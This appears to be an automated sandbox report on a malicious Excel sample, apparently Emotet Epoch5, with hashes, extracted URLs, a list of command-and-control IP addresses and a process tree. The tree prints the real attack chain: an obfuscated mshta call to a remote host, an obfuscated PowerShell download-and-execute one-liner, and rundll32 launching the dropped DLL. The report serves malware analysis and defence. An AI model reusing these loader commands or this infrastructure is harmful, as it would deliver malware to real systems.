Analysis
-
max time kernel
107s -
max time network
144s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
28-01-2022 03:22
Behavioral task
behavioral1
Sample
tmpqoe12ugj.xls
Resource
win7-en-20211208
General
-
Target
tmpqoe12ugj.xls
-
Size
36KB
-
MD5
79a40ea8552f4b9e413344056adc7663
-
SHA1
c5500b5b0c2bc3c17221b5f741a5af33abb924d5
-
SHA256
711883d8dce7f66c9ea713a31d66c082a4b6094ee230351f40656f8909cfb128
-
SHA512
6e807995dd260679f5f3ddc7d035d680160733b10c57c55ddf244a79ae488f004a1de45008689aa85c08b7ffe2e79b7f27eda3940ba4690b2d16b4e89f60de71
Malware Config
Extracted
http://91.240.118.168/oo/aa/se.html
Extracted
http://91.240.118.168/oo/aa/se.png
Extracted
emotet
Epoch5
159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
CMD.EXEdescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 836 3080 CMD.EXE EXCEL.EXE -
Blocklisted process makes network request 6 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid process 34 3780 mshta.exe 36 2288 powershell.exe 38 2288 powershell.exe 42 2288 powershell.exe 54 1704 rundll32.exe 55 1704 rundll32.exe -
Downloads MZ/PE file
-
Loads dropped DLL 2 IoCs
Processes:
rundll32.exerundll32.exepid process 2156 rundll32.exe 2688 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Pqcjkwpubqbh\vjgspd.oil rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1540 3780 WerFault.exe mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3080 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
powershell.exeWerFault.exerundll32.exepid process 2288 powershell.exe 2288 powershell.exe 1540 WerFault.exe 1540 WerFault.exe 1540 WerFault.exe 1540 WerFault.exe 1540 WerFault.exe 1540 WerFault.exe 1540 WerFault.exe 1540 WerFault.exe 1540 WerFault.exe 1540 WerFault.exe 1540 WerFault.exe 1540 WerFault.exe 1540 WerFault.exe 1540 WerFault.exe 2288 powershell.exe 1704 rundll32.exe 1704 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeWerFault.exedescription pid process Token: SeDebugPrivilege 2288 powershell.exe Token: SeDebugPrivilege 1540 WerFault.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 3080 EXCEL.EXE 3080 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 3080 EXCEL.EXE 3080 EXCEL.EXE 3080 EXCEL.EXE 3080 EXCEL.EXE 3080 EXCEL.EXE 3080 EXCEL.EXE 3080 EXCEL.EXE 3080 EXCEL.EXE 3080 EXCEL.EXE 3080 EXCEL.EXE 3080 EXCEL.EXE 3080 EXCEL.EXE 3080 EXCEL.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 3080 wrote to memory of 836 3080 EXCEL.EXE CMD.EXE PID 3080 wrote to memory of 836 3080 EXCEL.EXE CMD.EXE PID 836 wrote to memory of 3780 836 CMD.EXE mshta.exe PID 836 wrote to memory of 3780 836 CMD.EXE mshta.exe PID 3780 wrote to memory of 2288 3780 mshta.exe powershell.exe PID 3780 wrote to memory of 2288 3780 mshta.exe powershell.exe PID 2288 wrote to memory of 3324 2288 powershell.exe cmd.exe PID 2288 wrote to memory of 3324 2288 powershell.exe cmd.exe PID 3324 wrote to memory of 2156 3324 cmd.exe rundll32.exe PID 3324 wrote to memory of 2156 3324 cmd.exe rundll32.exe PID 3324 wrote to memory of 2156 3324 cmd.exe rundll32.exe PID 2156 wrote to memory of 2688 2156 rundll32.exe rundll32.exe PID 2156 wrote to memory of 2688 2156 rundll32.exe rundll32.exe PID 2156 wrote to memory of 2688 2156 rundll32.exe rundll32.exe PID 2688 wrote to memory of 3540 2688 rundll32.exe rundll32.exe PID 2688 wrote to memory of 3540 2688 rundll32.exe rundll32.exe PID 2688 wrote to memory of 3540 2688 rundll32.exe rundll32.exe PID 3540 wrote to memory of 1704 3540 rundll32.exe rundll32.exe PID 3540 wrote to memory of 1704 3540 rundll32.exe rundll32.exe PID 3540 wrote to memory of 1704 3540 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpqoe12ugj.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\CMD.EXECMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://91.240.118.168/oo/aa/se.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pqcjkwpubqbh\vjgspd.oil",nEaaAMZjwzJub8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Pqcjkwpubqbh\vjgspd.oil",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3780 -s 17004⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\QWER.dllMD5
1fd4499e393eb2bae9ff1d58d4669c06
SHA1dfa462ad52abf4edcc904edc3943e1573905bcbd
SHA256a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa
SHA5128a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663
-
\ProgramData\QWER.dllMD5
1fd4499e393eb2bae9ff1d58d4669c06
SHA1dfa462ad52abf4edcc904edc3943e1573905bcbd
SHA256a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa
SHA5128a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663
-
\ProgramData\QWER.dllMD5
1fd4499e393eb2bae9ff1d58d4669c06
SHA1dfa462ad52abf4edcc904edc3943e1573905bcbd
SHA256a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa
SHA5128a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663
-
memory/1704-1817-0x0000000000B00000-0x0000000000B27000-memory.dmpFilesize
156KB
-
memory/2156-1795-0x0000000004630000-0x0000000004657000-memory.dmpFilesize
156KB
-
memory/2288-1449-0x000001EEB9080000-0x000001EEB90BC000-memory.dmpFilesize
240KB
-
memory/2288-1367-0x000001EEB8A70000-0x000001EEB8A92000-memory.dmpFilesize
136KB
-
memory/2288-1630-0x000001EEB8AD6000-0x000001EEB8AD8000-memory.dmpFilesize
8KB
-
memory/2288-1479-0x000001EEB9140000-0x000001EEB91B6000-memory.dmpFilesize
472KB
-
memory/2288-1381-0x000001EEB8AD0000-0x000001EEB8AD2000-memory.dmpFilesize
8KB
-
memory/2288-1382-0x000001EEB8AD3000-0x000001EEB8AD5000-memory.dmpFilesize
8KB
-
memory/2688-1797-0x0000000004A50000-0x0000000004A77000-memory.dmpFilesize
156KB
-
memory/2688-1800-0x0000000004FA0000-0x0000000004FC7000-memory.dmpFilesize
156KB
-
memory/2688-1802-0x0000000005160000-0x0000000005187000-memory.dmpFilesize
156KB
-
memory/2688-1804-0x00000000052C0000-0x00000000052E7000-memory.dmpFilesize
156KB
-
memory/2688-1806-0x0000000005320000-0x0000000005347000-memory.dmpFilesize
156KB
-
memory/2688-1808-0x0000000005380000-0x00000000053A7000-memory.dmpFilesize
156KB
-
memory/2688-1816-0x0000000005510000-0x0000000005537000-memory.dmpFilesize
156KB
-
memory/3080-115-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmpFilesize
64KB
-
memory/3080-116-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmpFilesize
64KB
-
memory/3540-1810-0x0000000000880000-0x00000000008A7000-memory.dmpFilesize
156KB